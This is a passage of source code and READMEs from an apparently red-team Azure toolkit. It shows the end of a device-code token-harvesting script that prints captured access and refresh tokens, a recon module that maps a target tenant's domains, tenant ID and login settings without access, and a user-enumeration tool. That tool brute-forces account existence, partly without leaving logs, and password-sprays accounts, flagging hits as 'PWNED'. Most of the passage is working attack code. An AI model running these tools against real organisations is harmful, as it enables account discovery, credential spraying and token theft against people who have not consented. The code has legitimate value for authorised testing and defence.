'https://enrollment.manage.microsoft.com' 43 | 44 | # Microsoft Teams 45 | TEAMS = 'https://api.spaces.skype.com' 46 | 47 | # Microsoft Office Apps 48 | OFFICE_APPS = 'https://officeapps.live.com' 49 | 50 | # Microsoft Office Management 51 | OFFICE_MANAGE = 'https://manage.office.com' 52 | 53 | # Microsoft Outlook 54 | OUTLOOK = 'https://outlook.office365.com' 55 | 56 | # Substrate 57 | SUBSTRATE = 'https://substrate.office.com' 58 | 59 | # Set RESOURCE to one of the above resources you want to target 60 | # You can always use a refresh token to request one of these later, 61 | # but if you just know what you want you can set it here: 62 | RESOURCE = OUTLOOK 63 | 64 | def main(): 65 | """Main runner function of the module. Handles the entire request-response transaction""" 66 | post_data = { 67 | 'resource': RESOURCE, 68 | 'client_id': 'd3590ed6-52b3-4102-aeff-aad2292ab01c', 69 | 'scope': 'openid', 70 | 'optionalClaims': { 71 | 'accessToken': [ 72 | {'name': 'acct'}, # User account status (tenant member = 0; guest = 1) 73 | {'name': 'auth_time'}, # Time when the user last authenticated 74 | {'name': 'ctry'}, # Users country/region 75 | {'name': 'email'}, # Reported user email address 76 | {'name': 'fwd'}, # Original IPv4 Address of requesting client (when inside VNET) 77 | {'name': 'groups'}, # GroupMembership 78 | {'name': 'idtyp'}, # App for app-only token, or app+user 79 | {'name': 'login_hint'}, # Login hint 80 | {'name': 'sid'}, # Session ID 81 | {'name': 'tenant_ctry'}, # Tenant Country 82 | {'name': 'tenant_region_scope'}, # Tenant Region 83 | {'name': 'upn'}, # UserPrincipalName 84 | {'name': 'verified_primary_email'}, # User's PrimaryAuthoritativeEmail 85 | {'name': 'verified_secondary_email'}, # User's SecondaryAuthoritativeEmail 86 | {'name': 'vnet'}, # VNET specifier 87 | {'name': 'xms_pdl'}, # Preferred data location 88 | {'name': 'xms_pl'}, # User's preferred language 89 | {'name': 'xms_tpl'}, # Target Tenants preferred language 90 | {'name': 'ztdid'}, # Device Identity used for Windows AutoPilot 91 | {'name': 'ipaddr'}, # IP Address the client logged in from 92 | {'name': 'onprem_sid'}, # On-Prem Security Identifier 93 | {'name': 'pwd_exp'}, # Password Expiration Time (datetime) 94 | {'name': 'pwd_url'}, # Change password URL 95 | {'name': 'in_corp'}, # If client logs in within the corporate network (based off "trusted IPs") 96 | {'name': 'family_name'}, # Last Name 97 | {'name': 'given_name'}, # First Name 98 | {'name': 'upn'}, # User Principal Name 99 | {'name': 'aud'}, # Audience/Resource the token is for 100 | {'name': 'preferred_username'}, 101 | {'name': 'scope'} # Preferred username 102 | ] 103 | } 104 | } 105 | start_time = time.time() 106 | 107 | request = requests.post(GET_DEVICE_CODE_ENDPOINT, data=post_data) 108 | 109 | response_json = json.loads(request.text) 110 | 111 | device_code = response_json['device_code'] 112 | 113 | expires_in = response_json['expires_in'] 114 | 115 | print("\nMessage: " + response_json['message'] + '\n') 116 | 117 | polling_endpoint = 'https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0' 118 | 119 | poll_data = { 120 | "client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c", 121 | "resource": RESOURCE, 122 | "code": device_code, 123 | "grant_type": "urn:ietf:params:oauth:grant-type:device_code" 124 | } 125 | 126 | dots = "" 127 | 128 | unfinished = True 129 | 130 | while unfinished: 131 | current_time = time.time() 132 | poll = requests.post(polling_endpoint, data=poll_data) 133 | status_code = poll.status_code 134 | poll_json = json.loads(poll.text) 135 | if status_code == 200: 136 | print() 137 | print("Token Type: " + poll_json['token_type']) 138 | print("Scope: " + poll_json['scope']) 139 | print("Expires In: " + poll_json['expires_in']) 140 | print("Expires On: " + poll_json['expires_on']) 141 | print("Not Before: " + poll_json['not_before']) 142 | print("Resource: " + poll_json['resource']) 143 | print("Acess Token:\n" + poll_json['access_token']) 144 | print("Refresh Token:\n" + poll_json['refresh_token']) 145 | print("ID Token:\n" + poll_json['id_token']) 146 | unfinished = False 147 | else: 148 | print(poll_json['error'] + dots + ' ', end='\r') 149 | if dots == "...": 150 | dots = "" 151 | else: 152 | dots = dots + "." 153 | if (int(current_time) - int(start_time)) > int(expires_in): 154 | print() 155 | print("Device Code Expired :(") 156 | unfinished = False 157 | time.sleep(5) 158 | sys.exit() 159 | 160 | if __name__ == '__main__': 161 | main() 162 | sys.exit() 163 | -------------------------------------------------------------------------------- /offensive_azure/Device_Code/requirements.txt: -------------------------------------------------------------------------------- 1 | certifi==2021.10.8 2 | charset-normalizer==2.0.12 3 | idna==3.3 4 | requests==2.27.1 5 | urllib3==1.26.9 6 | -------------------------------------------------------------------------------- /offensive_azure/Outsider_Recon/README.md: -------------------------------------------------------------------------------- 1 | # outsider_recon.py 2 | 3 | This module is a port of many different cmdlets from [AADInternals](https://github.com/Gerenios/AADInternals). It only requires a domain to be supplied to run successfully. Enumerated information includes: 4 | 5 | - Tenant OpenID configuration 6 | - Domain login information 7 | - Domain information 8 | - Tenant ID extraction 9 | - Other domains under the shared tenant 10 | 11 | ## Installation 12 | 13 | ```bash 14 | git clone https://github.com/blacklanternsecurity/offensive-azure.git 15 | cd ./offensive-azure/Outsider_Recon/ 16 | pipenv shell 17 | pip install -r requirements.txt 18 | ``` 19 | 20 | ## Usage 21 | 22 | ```bash 23 | usage: outsider_recon.py [-o|--outfile ] [-u|--user ] 24 | 25 | ===================================================================================== 26 | # This module will enumerate all available information for a given target domain # 27 | # within an Azure tenant. This does not require any level of pre-existing access. # 28 | ===================================================================================== 29 | 30 | positional arguments: 31 | domain The target Microsoft/Azure domain 32 | 33 | optional arguments: 34 | -h, --help show this help message and exit 35 | -o , --outfile-path 36 | (string) The path where you want the recon data (json object) saved. If not supplied, module defaults to the 37 | current directory 38 | -u , --user 39 | (string) The user you want to use during enumeration. Do not include the domain. If not supplied, module defaults 40 | to "none" 41 | ``` 42 | 43 | ## Examples 44 | 45 | ```bash 46 | python3 outsider_recon.py domain.com -u user.name -o ./loot 47 | ``` 48 | -------------------------------------------------------------------------------- /offensive_azure/Outsider_Recon/outsider_recon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import sys 21 | import time 22 | import json 23 | import xml.etree.ElementTree as ET 24 | import argparse 25 | import dns.resolver 26 | import dns.rcode 27 | import colorama 28 | import requests 29 | import whois 30 | 31 | class OutsiderRecon: 32 | """ 33 | Contains all functions necessary to enumerate an Azure tenant 34 | given a domain that belongs to an Azure tenant. 35 | 36 | Methods 37 | ------- 38 | enumerate_domain_info(domains, login_infos): 39 | Enumerates information about a domain, including DMARC, CloudSPF, CloudMX, DNS, STS, SSO 40 | 41 | enumerate_tenant_id(openid_config): 42 | Given an openid_config, will return the tenant ID 43 | 44 | enumerate_login_info(domain, username): 45 | Given a domain and optional username, will return the authentication related endpoints 46 | and information as they pertain to the supplied domain 47 | 48 | enumerate_openid(domain): 49 | Given a domain, will return the openid configuration information 50 | 51 | enumerate_tenant_domains(domain, user_agent='AutodiscoverClient'): 52 | Given a domain and optional user_agent, will return all domains 53 | registered to the same Azure tenant as the domain provided 54 | """ 55 | 56 | @staticmethod 57 | def enumerate_domain_info(domains, login_infos): 58 | """Takes in list of domains and login information, returns domain details""" 59 | domain_info = {} 60 | for domain in domains: 61 | domain_info[domain] = {} 62 | 63 | # Check if domain has SSO emabled 64 | domain_info[domain]['sso'] = False 65 | try: 66 | if login_infos[domain]['Desktop SSO Enabled'] == 'True': 67 | domain_info[domain]['sso'] = True 68 | except KeyError: 69 | pass 70 | 71 | # Check for Namespace 72 | try: 73 | domain_info[domain]['type'] = login_infos[domain]['Namespace Type'] 74 | except KeyError: 75 | domain_info[domain]['type'] = 'Unknown' 76 | 77 | # Check for STS 78 | try: 79 | domain_info[domain]['sts'] = login_infos[domain]['Authentication URL'] 80 | except KeyError: 81 | domain_info[domain]['sts'] = '' 82 | 83 | # Check for WHOIS 84 | domain_info[domain]['whois'] = False 85 | try: 86 | whois_response = whois.whois(domain) 87 | domain_info[domain]['whois'] = bool(whois_response.domain_name) 88 | except whois.parser.PywhoisError: 89 | pass 90 | 91 | # Check if DNS Name resolves 92 | try: 93 | dns_response = dns.resolver.resolve(domain) 94 | if dns.rcode.to_text(dns_response.response.rcode()) == 'NOERROR': 95 | domain_info[domain]['dns'] = True 96 | else: 97 | domain_info[domain]['dns'] = False 98 | domain_info[domain]['cloudmx'] = False 99 | domain_info[domain]['cloudspf'] = False 100 | domain_info[domain]['dmarc'] = False 101 | continue 102 | except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer): 103 | domain_info[domain]['dns'] = False 104 | domain_info[domain]['cloudmx'] = False 105 | domain_info[domain]['cloudspf'] = False 106 | domain_info[domain]['dmarc'] = False 107 | continue 108 | 109 | # Check for CloudMX 110 | try: 111 | domain_info[domain]['cloudmx'] = False 112 | dns_response = dns.resolver.resolve(domain, 'MX') 113 | for answer in dns_response: 114 | if 'mail.protection.outlook.com' in str(answer): 115 | domain_info[domain]['cloudmx'] = True 116 | break 117 | except dns.exception.DNSException: 118 | pass 119 | # Check for CloudSPF 120 | try: 121 | domain_info[domain]['cloudspf'] = False 122 | dns_response = dns.resolver.resolve(domain, 'TXT') 123 | for answer in dns_response: 124 | if 'include:spf.protection.outlook.com' in str(answer): 125 | domain_info[domain]['cloudspf'] = True 126 | break 127 | except dns.exception.DNSException: 128 | pass 129 | # Check for DMARC 130 | try: 131 | domain_info[domain]['dmarc'] = False 132 | dns_response = dns.resolver.resolve('_dmarc.' + domain, 'TXT') 133 | for answer in dns_response: 134 | if 'v=DMARC1' in str(answer): 135 | domain_info[domain]['dmarc'] = True 136 | break 137 | except dns.exception.DNSException: 138 | pass 139 | 140 | return domain_info 141 | 142 | @staticmethod 143 | def enumerate_tenant_id(openid_config): 144 | """Given an openid_config, will return the tenant ID""" 145 | return openid_config['authorization_endpoint'].split('/')[3] 146 | 147 | @staticmethod 148 | def enumerate_login_info(domain, username): 149 | """Given a domain and optional username, will return the authentication related info""" 150 | results = {} 151 | 152 | user = username + '@' + domain 153 | 154 | endpoint1 = f'https://login.microsoftonline.com/common/userrealm/{user}?api-version=1.0' 155 | endpoint2 = f'https://login.microsoftonline.com/common/userrealm/{user}?api-version=2.0' 156 | endpoint3 = f'https://login.microsoftonline.com/GetUserRealm.srf?login={user}' 157 | endpoint4 = 'https://login.microsoftonline.com/common/GetCredentialType' 158 | 159 | body = { 160 | 'username': user, 161 | 'isOtherIdpSupported': 'true', 162 | 'checkPhones': 'true', 163 | 'isRemoteNGCSupported': 'false', 164 | 'isCookieBannerShown': 'false', 165 | 'isFidoSupported': "false", 166 | 'originalRequest': '' 167 | } 168 | 169 | json_data = json.dumps(body) 170 | 171 | headers4 = { 172 | 'Content-Type': 'application/json; charset=utf-8', 173 | } 174 | 175 | user_realm_json1 = requests.get(endpoint1).json() 176 | user_realm_json2 = requests.get(endpoint2).json() 177 | user_realm_json3 = requests.get(endpoint3).json() 178 | user_realm_json4 = requests.post(endpoint4, headers=headers4, data=json_data).json() 179 | 180 | 181 | try: 182 | results['Account Type'] = user_realm_json1['account_type'] 183 | except KeyError: 184 | pass 185 | try: 186 | results['Namespace Type'] = user_realm_json2['NameSpaceType'] 187 | except KeyError: 188 | pass 189 | try: 190 | results['Domain Name'] = user_realm_json3['DomainName'] 191 | except KeyError: 192 | pass 193 | try: 194 | results['Cloud Instance'] = user_realm_json1['cloud_instance_name'] 195 | except KeyError: 196 | pass 197 | try: 198 | results['Cloud Instance Audience URN'] = user_realm_json1['cloud_audience_urn'] 199 | except KeyError: 200 | pass 201 | try: 202 | results['Federation Brand Name'] = user_realm_json3['FederationBrandName'] 203 | except KeyError: 204 | pass 205 | try: 206 | results['State'] = user_realm_json3['State'] 207 | except KeyError: 208 | pass 209 | try: 210 | results['User State'] = user_realm_json3['UserState'] 211 | except KeyError: 212 | pass 213 | try: 214 | results['Exists'] = user_realm_json4['IfExistsResult'] 215 | except KeyError: 216 | pass 217 | try: 218 | results['Throttle Status'] = user_realm_json4['ThrottleStatus'] 219 | except KeyError: 220 | pass 221 | try: 222 | results['Pref Credential'] = user_realm_json4['Credentials']['PrefCredential'] 223 | except KeyError: 224 | pass 225 | try: 226 | results['Has Password'] = user_realm_json4['Credentials']['HasPassword'] 227 | except KeyError: 228 | pass 229 | try: 230 | results['Domain Type'] = user_realm_json4['EstsProperties']['DomainType'] 231 | except KeyError: 232 | pass 233 | try: 234 | results['Federation Protocol'] = user_realm_json1['federation_protocol'] 235 | except KeyError: 236 | pass 237 | try: 238 | results['Federation Metadata URL'] = user_realm_json1['federation_metadata_url'] 239 | except KeyError: 240 | pass 241 | try: 242 | results['Federation Active Authentication URL'] = user_realm_json1['federation_active_auth_url'] 243 | except KeyError: 244 | pass 245 | try: 246 | results['Authentication URL'] = user_realm_json2['AuthUrl'] 247 | except KeyError: 248 | pass 249 | try: 250 | results['Consumer Domain'] = user_realm_json2['ConsumerDomain'] 251 | except KeyError: 252 | pass 253 | try: 254 | results['Federation Global Version'] = user_realm_json3['FederationGlobalVersion'] 255 | except KeyError: 256 | pass 257 | try: 258 | results['Desktop SSO Enabled'] = user_realm_json4['EstsProperties']['DesktopSsoEnabled'] 259 | except KeyError: 260 | pass 261 | 262 | return results 263 | 264 | @staticmethod 265 | def enumerate_openid(domain): 266 | """Given a domain, will return the openid configuration information""" 267 | endpoint = f'https://login.microsoftonline.com/{domain}/.well-known/openid-configuration' 268 | 269 | openid_config_json = requests.get(endpoint).json() 270 | 271 | return openid_config_json 272 | 273 | @staticmethod 274 | def enumerate_tenant_domains(domain, user_agent='AutodiscoverClient'): 275 | """Given a domain and optional user_agent, returns domains under shared tenant""" 276 | headers = { 277 | 'Content-Type': 'text/xml; charset=utf-8', 278 | 'SOAPAction': '"http://schemas.microsoft.com/exchange/2010' \ 279 | '/Autodiscover/Autodiscover/GetFederationInformation"', 280 | 'User-Agent': user_agent 281 | } 282 | 283 | xml = f''' 284 | 285 | 286 | http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation 287 | https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc 288 | 289 | http://www.w3.org/2005/08/addressing/anonymous 290 | 291 | 292 | 293 | 294 | 295 | {domain} 296 | 297 | 298 | 299 | ''' 300 | 301 | endpoint = 'https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc' 302 | 303 | # Get Tenant Domains with Supplied Domain 304 | # Returns a SOAP Envelope object 305 | # Loops until we receive valid data 306 | proceed = False 307 | while not proceed: 308 | tenant_domains = requests.post(endpoint, data=xml, headers=headers) 309 | if tenant_domains.status_code == 421: 310 | return None 311 | tenant_domains.encoding = 'utf-8' 312 | try: 313 | xml_response = ET.fromstring(str(tenant_domains.content, 'utf-8')) 314 | proceed = True 315 | except ET.ParseError: 316 | continue 317 | 318 | domains = [] 319 | 320 | for i in xml_response[1][0][0][3]: 321 | domains.append(i.text) 322 | 323 | return domains 324 | 325 | def main(self): 326 | """Runner method""" 327 | # Set up our colors 328 | colorama.init() 329 | success = colorama.Fore.GREEN 330 | danger = colorama.Fore.RED 331 | warning = colorama.Fore.YELLOW 332 | reset = colorama.Style.RESET_ALL 333 | 334 | description = ''' 335 | ===================================================================================== 336 | # This module will enumerate all available information for a given target domain # 337 | # within an Azure tenant. This does not require any level of pre-existing access. # 338 | ===================================================================================== 339 | ''' 340 | 341 | arg_parser = argparse.ArgumentParser( 342 | prog='outsider_recon.py', 343 | usage=success + '%(prog)s' + warning + ' ' + reset + \ 344 | ' [-o|--outfile ] [-u|--user ]', 345 | description=description, 346 | formatter_class=argparse.RawDescriptionHelpFormatter) 347 | arg_parser.add_argument( 348 | 'Domain', 349 | metavar='domain', 350 | type=str, 351 | help='The target Microsoft/Azure domain') 352 | arg_parser.add_argument( 353 | '-o', 354 | '--outfile-path', 355 | metavar='', 356 | dest='outfile_path', 357 | type=str, 358 | help='(string) The path where you want the recon data (json object) saved.\n' \ 359 | 'If not supplied, module defaults to the current directory', 360 | required=False) 361 | arg_parser.add_argument( 362 | '-u', 363 | '--user', 364 | metavar='', 365 | dest='user', 366 | type=str, 367 | help='(string) The user you want to use during enumeration. Do not include the' \ 368 | ' domain.\nIf not supplied, module defaults to "none"', 369 | required=False) 370 | 371 | args = arg_parser.parse_args() 372 | 373 | outfile_prefix = time.strftime('%Y-%m-%d_%H-%M-%S_' + args.Domain + '_') 374 | 375 | # Set a default path if none is given 376 | path = args.outfile_path 377 | if path is None: 378 | path = './' 379 | elif path[-1] != '/': 380 | path = path + '/' 381 | 382 | # Set a default user if none is given 383 | user = args.user 384 | if user is None: 385 | user = 'none' 386 | else: 387 | user = user.split('@')[0] 388 | 389 | # Enumerating all domains for the tenant the passed in domain belongs to 390 | print(warning + 'Enumerating Other Domains Within Tenant' + reset + '\n') 391 | domains_found = self.enumerate_tenant_domains(args.Domain) 392 | if domains_found is None: 393 | print(danger + 'It doesn\'t look like this is a domain in Azure.'\ 394 | ' Check your domain or try something else.') 395 | sys.exit() 396 | for domain_found in domains_found: 397 | print(success + '[+] ' + reset + domain_found) 398 | print() 399 | 400 | # Enumerating the openid configuration for the tenant 401 | print(warning + 'Enumerating OpenID Configuration for Tenant' + reset + '\n') 402 | openid_config = self.enumerate_openid(args.Domain) 403 | for elem in openid_config: 404 | print((success + elem + reset + ':\t' + str(openid_config[elem])).expandtabs(50)) 405 | print() 406 | 407 | # Enumerating the login information for each domain discovered 408 | login_infos = {} 409 | print(warning + 'Enumerating User Login Information' + reset + '\n') 410 | for domain_found in domains_found: 411 | user_realm_json = self.enumerate_login_info(args.Domain, user) 412 | login_infos[domain_found] = user_realm_json 413 | print(warning + '[+] ' + domain_found + ":" + reset) 414 | print(warning + '========================' + reset) 415 | for key, value in user_realm_json.items(): 416 | print((success + key + reset + ":\t" + str(value)).expandtabs(50)) 417 | print(warning + '========================' + reset + '\n') 418 | print() 419 | 420 | # Enumerate the tenant ID 421 | print(warning + 'Tenant ID' + reset + '\n') 422 | tenant_id = self.enumerate_tenant_id(openid_config) 423 | print(success + '[+] ' + reset + tenant_id) 424 | print() 425 | 426 | # Enumerate Domain Information (DNS, CLOUDMX, CLOUDSPF, DMARC, Identity Management, STS, SSO) 427 | print(warning + 'Enumerating Domain Information' + reset + '\n') 428 | domain_info = self.enumerate_domain_info(domains_found, login_infos) 429 | for domain_name, domain_data in domain_info.items(): 430 | print(warning + '[+] ' + domain_name + ":" + reset) 431 | print(warning + '========================' + reset) 432 | for key, value in domain_data.items(): 433 | print((success + key + reset + ":\t" + str(value)).expandtabs(24)) 434 | print(warning + '========================' + reset + '\n') 435 | 436 | # Save our results to files 437 | 438 | ## Save Domain List 439 | with open(path + outfile_prefix + 'domain_list.txt', 'w+', encoding='UTF-8') as file: 440 | for dom in domains_found: 441 | file.write(dom + '\n') 442 | file.close() 443 | 444 | ## Save Tenant OpenID Configuration 445 | with open(path + outfile_prefix + 'tenant_openid_config.json', 'w+', encoding='UTF-8') as file: 446 | file.write(json.dumps(openid_config)) 447 | file.close() 448 | 449 | ## Save Domain Login Information 450 | with open(path + outfile_prefix + \ 451 | 'domain_login_information.json', 'w+', encoding='UTF-8') as file: 452 | file.write(json.dumps(login_infos)) 453 | file.close() 454 | 455 | ## Save Tenant ID 456 | with open(path + outfile_prefix + 'tenant_id.txt', 'w+', encoding='UTF-8') as file: 457 | file.write(tenant_id) 458 | file.close() 459 | 460 | ## Save Domain Information 461 | with open(path + outfile_prefix + 'domain_information.json', 'w+', encoding='UTF-8') as file: 462 | file.write(json.dumps(domain_info)) 463 | file.close() 464 | 465 | print(success + '[+] Files Saved Successfully!' + reset) 466 | 467 | def runner(): 468 | """Runner function""" 469 | prog = OutsiderRecon() 470 | prog.main() 471 | sys.exit() 472 | 473 | if __name__ == '__main__': 474 | runner() 475 | sys.exit() 476 | -------------------------------------------------------------------------------- /offensive_azure/Outsider_Recon/requirements.txt: -------------------------------------------------------------------------------- 1 | certifi==2021.10.8 2 | charset-normalizer==2.0.12 3 | colorama==0.4.4 4 | dnspython==2.2.1 5 | idna==3.3 6 | requests==2.27.1 7 | urllib3==1.26.9 8 | -------------------------------------------------------------------------------- /offensive_azure/User_Enum/README.md: -------------------------------------------------------------------------------- 1 | # user_enum.py 2 | 3 | ```bash 4 | usage: user_enum.py [-m login-method | -u username | -i input-list | -o outfile] 5 | 6 | ===================================================================================== 7 | # This module will enumerate for valid user accounts in an Azure AD environment # 8 | # There are five methods to enumerate with: login, sso, normal, onedrive, lists # 9 | # # 10 | # Default method: normal # 11 | # # 12 | # You may supply either a single username to test, or a user list # 13 | # Supplying a password will insert it into either the 'login' or 'sso' method # 14 | # # 15 | # If the password is correct, and there are no other obstacles, then the account # 16 | # will be marked 'PWNED' # 17 | # # 18 | # Using the 'login' method will create failed authentication logs in Azure AD # 19 | # # 20 | # Using the 'sso' 'lists' or 'onedrive' methods will not create any logs, # 21 | # but is less accurate # 22 | ===================================================================================== 23 | 24 | optional arguments: 25 | -h, --help show this help message and exit 26 | -m , --method 27 | The login method you would like to use (default is normal), select one of 'normal' 'onedrive' 'lists' 'login' 'sso' 28 | -u , --username 29 | The username you would like to test 30 | -i , --input-list 31 | Text file containing usernames you want to test 32 | -p , --password 33 | The password you want to spray with. Only works with 'login' and 'sso' methods. 34 | -o , --outfile 35 | Path to where you want to save your results 36 | ``` 37 | -------------------------------------------------------------------------------- /offensive_azure/User_Enum/requirements.txt: -------------------------------------------------------------------------------- 1 | certifi==2021.10.8 2 | charset-normalizer==2.0.12 3 | colorama==0.4.4 4 | idna==3.3 5 | requests==2.27.1 6 | urllib3==1.26.9 7 | uuid==1.30 8 | -------------------------------------------------------------------------------- /offensive_azure/User_Enum/user_enum.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | ''' 4 | Copyright (C) 2022 Cody Martin BLSOPS LLC 5 | 6 | This program is free software: you can redistribute it and/or modify 7 | it under the terms of the GNU General Public License as published by 8 | the Free Software Foundation, either version 3 of the License, or 9 | (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | ''' 19 | 20 | import sys 21 | import argparse 22 | import time 23 | import json 24 | import uuid 25 | from datetime import datetime 26 | from datetime import timezone 27 | from datetime import timedelta 28 | import xml.etree.ElementTree as ET 29 | import colorama 30 | import requests 31 | 32 | # Set up our colors 33 | colorama.init() 34 | SUCCESS = colorama.Fore.GREEN 35 | VALID = colorama.Fore.CYAN 36 | DANGER = colorama.Fore.RED 37 | WARNING = colorama.Fore.YELLOW 38 | RESET = colorama.Style.RESET_ALL 39 | 40 | # Set up argparse stuff 41 | METHODS = [ 42 | 'normal', 43 | 'onedrive', 44 | 'lists', 45 | 'login', 46 | 'sso' 47 | ] 48 | 49 | DESCRIPTION = f''' 50 | ===================================================================================== 51 | # This module will enumerate for valid user accounts in an Azure AD environment # 52 | # There are five methods to enumerate with: login, sso, normal, onedrive, lists # 53 | # # 54 | # Default method: normal # 55 | # # 56 | # You may supply either a single username to test, or a user list # 57 | # Supplying a password will insert it into either the 'login' or 'sso' method # 58 | # # 59 | # If the password is correct, and there are no other obstacles, then the account # 60 | # will be marked 'PWNED' # 61 | # # 62 | #{DANGER} Using the 'login' method will create failed authentication logs in Azure AD {RESET} # 63 | # # 64 | #{WARNING} Using the 'sso' 'lists' or 'onedrive' methods will not create any logs,{RESET} # 65 | #{WARNING} but is less accurate{RESET} # 66 | ===================================================================================== 67 | ''' 68 | 69 | def enumerate_tenant_domains(domain, user_agent='AutodiscoverClient'): 70 | """Given a domain and optional user_agent, returns domains under shared tenant""" 71 | headers = { 72 | 'Content-Type': 'text/xml; charset=utf-8', 73 | 'SOAPAction': '"http://schemas.microsoft.com/exchange/2010' \ 74 | '/Autodiscover/Autodiscover/GetFederationInformation"', 75 | 'User-Agent': user_agent 76 | } 77 | 78 | xml = f''' 79 | 80 | 81 | http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation 82 | https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc 83 | 84 | http://www.w3.org/2005/08/addressing/anonymous 85 | 86 | 87 | 88 | 89 | 90 | {domain} 91 | 92 | 93 | 94 | ''' 95 | 96 | endpoint = 'https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc' 97 | 98 | # Get Tenant Domains with Supplied Domain 99 | # Returns a SOAP Envelope object 100 | # Loops until we receive valid data 101 | proceed = False 102 | while not proceed: 103 | tenant_domains = requests.post(endpoint, data=xml, headers=headers) 104 | if tenant_domains.status_code == 421: 105 | return None 106 | tenant_domains.encoding = 'utf-8' 107 | try: 108 | xml_response = ET.fromstring(str(tenant_domains.content, 'utf-8')) 109 | proceed = True 110 | except ET.ParseError: 111 | continue 112 | 113 | domains = [] 114 | 115 | for i in xml_response[1][0][0][3]: 116 | domains.append(i.text) 117 | 118 | return domains 119 | 120 | def find_tenant_name(email, target): 121 | """Given an email account and application to target, will return the valid tenant name""" 122 | if target == 'onedrive': 123 | page = 'onedrive.aspx' 124 | elif target == 'lists': 125 | page = 'Lists.aspx' 126 | else: 127 | print(f'{DANGER}[!]{RESET} Something crazy happened - Exiting') 128 | sys.exit() 129 | domain = email.split('@')[1] 130 | user_domain_1 = email.replace('@','_').replace('.','_') 131 | domain_list = enumerate_tenant_domains(domain) 132 | tenant_names = [] 133 | valid_tenant_name = None 134 | for entry in domain_list: 135 | if '.onmicrosoft.com' in entry: 136 | tenant_names.append(entry.split('.')[0]) 137 | if len(tenant_names) > 1: 138 | print(f'{VALID}[-]{RESET} Attempting to find the correct tenant name') 139 | print(f'{VALID}[-]{RESET} This might take a little while depending' \ 140 | f' on the number of potential tenant names ({len(tenant_names)})') 141 | print() 142 | for tenant_name in tenant_names[::-1]: 143 | endpoint = f'https://{tenant_name}-my.sharepoint.com/personal/{user_domain_1}/' \ 144 | f'_layouts/15/{page}' 145 | try: 146 | requests.head(endpoint, timeout=10) 147 | valid_tenant_name = tenant_name 148 | print(f'{VALID}[+]{RESET} Tenant Name: {valid_tenant_name}') 149 | print() 150 | break 151 | except requests.exceptions.ConnectTimeout: 152 | pass 153 | elif len(tenant_names) == 1: 154 | valid_tenant_name = tenant_names[0] 155 | return valid_tenant_name 156 | 157 | def main(): 158 | """ 159 | Main runner function. Takes in a username or list of users 160 | and attempts to brute-force check for user existence. 161 | 162 | Can also take in a password to be used with 'login' or 163 | 'autologon' methods to perform password spray 164 | """ 165 | arg_parser = argparse.ArgumentParser(prog='user_enum.py', 166 | usage=SUCCESS + '%(prog)s' + RESET + ' [-m login-method | '\ 167 | '-u username | -i input-list | -o outfile]', 168 | description=DESCRIPTION, 169 | formatter_class=argparse.RawDescriptionHelpFormatter) 170 | arg_parser.add_argument('-m', 171 | '--method', 172 | metavar='', 173 | dest='method', 174 | type=str, 175 | help=f'The login method you would like to use (default is normal), select one '\ 176 | f'of {str(METHODS).replace(","," ").replace("[","").replace("]","")}', 177 | choices=METHODS, 178 | required=False) 179 | arg_parser.add_argument('-u', 180 | '--username', 181 | metavar='', 182 | dest='username', 183 | type=str, 184 | help='The username you would like to test', 185 | required=False) 186 | arg_parser.add_argument('-i', 187 | '--input-list', 188 | metavar='', 189 | dest='input_list', 190 | type=str, 191 | help='Text file containing usernames you want to test', 192 | required=False) 193 | arg_parser.add_argument('-p', 194 | '--password', 195 | metavar='', 196 | dest='password', 197 | type=str, 198 | help='The password you want to spray with. Only works with '\ 199 | '\'login\' and \'sso\' methods.', 200 | required=False) 201 | arg_parser.add_argument('-o', 202 | '--outfile', 203 | metavar='', 204 | dest='outfile_path', 205 | type=str, 206 | help='Path to where you want to save your results', 207 | required=False) 208 | 209 | args = arg_parser.parse_args() 210 | 211 | if args.method is None: 212 | args.method = 'normal' 213 | 214 | # Set a default outfile if none is given 215 | outfile_path = args.outfile_path 216 | if outfile_path is None: 217 | outfile = './' + time.strftime('%Y-%m-%d_%H-%M-%S_User-Enum.json') 218 | else: 219 | if outfile_path[-1] != '/': 220 | outfile_path = outfile_path + '/' 221 | outfile = outfile_path + time.strftime('%Y-%m-%d_%H-%M-%S_User-Enum.json') 222 | 223 | if args.username is not None: 224 | # Single user mode 225 | userlist = [args.username] 226 | elif args.input_list is not None: 227 | # We better be loading from a list 228 | with open(args.input_list, encoding='UTF-8') as userfile: 229 | userlist = [] 230 | for user in userfile.readlines(): 231 | userlist.append(user.replace('\n', '')) 232 | else: 233 | # No users supplied 234 | print(f'{WARNING}No users supplied with either -u or -i\n{DANGER}Exiting{RESET}') 235 | sys.exit() 236 | 237 | if args.password is None: 238 | password = 'none' 239 | client_id = str(uuid.uuid4()) 240 | else: 241 | password = args.password 242 | client_id = 'd3590ed6-52b3-4102-aeff-aad2292ab01c' 243 | 244 | results = [] 245 | 246 | if args.method == 'normal': 247 | for user in userlist: 248 | data = { 249 | 'username': user, 250 | 'isOtherIdpSupported': 'true', 251 | 'checkPhones': 'true', 252 | 'isRemoteNGCSupported': 'false', 253 | 'isCookieBannerShown': 'false', 254 | 'isFidoSupported': 'false', 255 | 